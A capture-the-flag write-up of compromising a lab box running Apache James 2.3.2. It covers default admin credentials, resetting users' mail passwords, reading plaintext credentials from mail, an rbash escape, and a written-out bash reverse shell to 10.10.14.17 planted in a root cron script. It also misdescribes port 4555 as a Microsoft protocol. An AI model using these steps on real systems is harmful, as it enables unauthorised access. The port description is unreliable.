Information Gathering
Rustscan
Rustscan discovered SSH, SMTP, HTTP, POP3, NNTP, and RSIP.
Nmap
Nmap discovered version for SMTP: 2.3.2
Enumeration
-
25/tcp (SMTP): This port is used for the Simple Mail Transfer Protocol (SMTP), which is responsible for email transmission between servers. It’s used for sending outgoing mail.
-
110/tcp (POP3): This port is used for the Post Office Protocol version 3 (POP3), which is an application-layer protocol used by email clients to retrieve emails from a mail server.
-
119/tcp (NNTP): This port is used for the Network News Transfer Protocol (NNTP), which is used to distribute, query, and retrieve news articles and newsgroup postings.
-
4555/tcp (RSIP): This port is used for the Remote Speaker Identification Protocol (RSIP), which is used for managing connections between multimedia applications and devices. It’s a proprietary protocol developed by Microsoft.
HTTP - TCP 80
HTTP was hosting web page for a penetration testing company:
I found a possible user and domain name:
Directory Bruteforce
Since nothing useful was found from the website, I moved on to directory bruteforcing but result wasn’t interesting:
sudo feroxbuster -u http://10.10.10.51 -n -x html -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
pop3 - TCP 110
Post Office Protocol 3, or POP3, is the most commonly used protocol for receiving email over the internet. This standard protocol, which most email servers and their clients support, is used to receive emails from a remote server and send to a local client.
JAMES pop3d 2.3.2 seemed vulnerable to RCE
Using this exploit, I can create a user on the server and start a listener waiting for someone to login to the server:
I hoped there’s some kind of user interaction set on this server but there wasn’t so I would have to sign it myself.
NNTP - TCP 119
There was nothing much to be done on NNTP:
RSIP - TCP 4555
Luckily, default credentials worked for RSIP: root:root
Typing HELP
, I can list bunch of commands:
Using listusers
, I was able to list users on system.
I can also see a user that was added by python script from earlier:
I decided to reset all the user’s password to be looked into later:
Now using telnet on port 110, I can sign-in to different users and check their mails:
User john had one mail:
Using RETR
, I was able to view the mail and it was saying that temporary password is being send to user mindy:
After reading the above, I signed-in as mindy:
Mindy had two mails and first one indicated that she’s a new member to the company:
Second mail was sending plain text to mindy on mail: P@55W0rd1!2@
SSH as mindy
Using the credentials found above, I tried signing-in as mindy.
Because of the previous set python script and listener, SSH connection is redirected to my local listener:
Now on my local listener, I have a shell as mindy:
At first, I thought I don’t need this shell since I already have valid creds for SSH.
However, it turned out I have a rbash restriction:
Using -t bash
, I can easily escape the restricted environment:
ssh mindy@10.10.10.51 -t bash
I believe intended way of solving this box was to use the exploit from earlier to escape rbash environment, but I can also escape it using simple -t bash
flag.
Privesc: mindy to root
Checking on /opt
, I see tmp.py file which I usually don’t see:
Script seemed to be deleting all the files in /tmp directory:
To check if there are any automated tasks related to this script, I uploaded pspy32 using wget and Python http server.
I ran pspy after giving it execute permission:
I was able to see that the script is being ran by root here:
I added extra line of code that will spawn a reverse shell for me:
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.17/1337 0>&1"')
Now waiting for a bit, I have reverse shell connection on my local listener as root:
To make access to root connection more easier, I created SSH key on root directory following my note on Linux Persistence
References
- https://github.com/IcmpOff/Apache-James-Server-2.3.2---Remote-Command-Execution/blob/master/Apache-James-Rce%20Exploit.py
- https://medium.com/@minimalist.ascent/exploring-pop3-servers-4c98e76a71ad
- https://0xffsec.com/handbook/services/nntp/
- https://jadu101.github.io/Persistence%F0%9F%A5%B7%F0%9F%8F%BB/Linux-Persistence